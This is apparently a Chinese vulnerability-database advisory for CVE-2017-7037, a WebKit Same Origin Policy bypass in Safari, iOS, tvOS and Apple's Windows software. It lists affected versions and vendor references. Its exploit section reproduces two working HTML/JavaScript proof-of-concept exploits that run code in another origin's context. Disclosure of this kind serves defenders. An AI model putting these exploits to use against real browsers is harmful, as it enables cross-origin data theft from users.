多款Apple产品WebKit 安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1124123 漏洞类型 缓冲区溢出
发布时间 2017-07-25 更新时间 2017-07-25
CVE编号 CVE-2017-7037 CNNVD-ID CNNVD-201707-973
漏洞平台 Multiple CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/42378
https://cxsecurity.com/issue/WLB-2017070166
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201707-973
|漏洞详情
AppleiOS、iCloudforWindows、iTunesforWindows、Safari和tvOS都是美国苹果(Apple)公司的产品。AppleiOS是一套为专移动设备所开发的一套操作系统;Safari是一款Web浏览器,是MacOSX和iOS操作系统附带的默认浏览器。WebKit是KDE社区开发的一套开源Web浏览器引擎,目前被AppleSafari及GoogleChrome等浏览器使用。多款Apple产品中的WebKit组件中存在内存损坏漏洞。远程攻击者可借助特制的网站利用该漏洞执行任意代码或造成拒绝服务(内存损坏和应用程序崩溃)。以下产品和版本受到影响:AppleSafari10.1.2之前的版本;tvOS10.2.2之前的版本;iOS10.3.3之前的版本;基于Windows平台的iCloud6.2.2之前的版本;基于Window平台的iTunes12.6.2之前的版本。
|漏洞EXP
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1240

JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.

The PoC shows to call a setter of another origin's object.

PoC 1 - JSValue::putToPrimitive:
-->

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = 1.2;
    a.__proto__.__proto__ = f.contentWindow;

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;

</script>
</body>

<!--
PoC 2 - JSObject::putInlineSlow:
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = {
        __proto__: f.contentWindow
    };

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;
</script>
</body>
-->
|参考资料

来源:CONFIRM
链接:https://support.apple.com/HT207921
来源:CONFIRM
链接:https://support.apple.com/HT207923
来源:CONFIRM
链接:https://support.apple.com/HT207924
来源:CONFIRM
链接:https://support.apple.com/HT207927
来源:CONFIRM
链接:https://support.apple.com/HT207928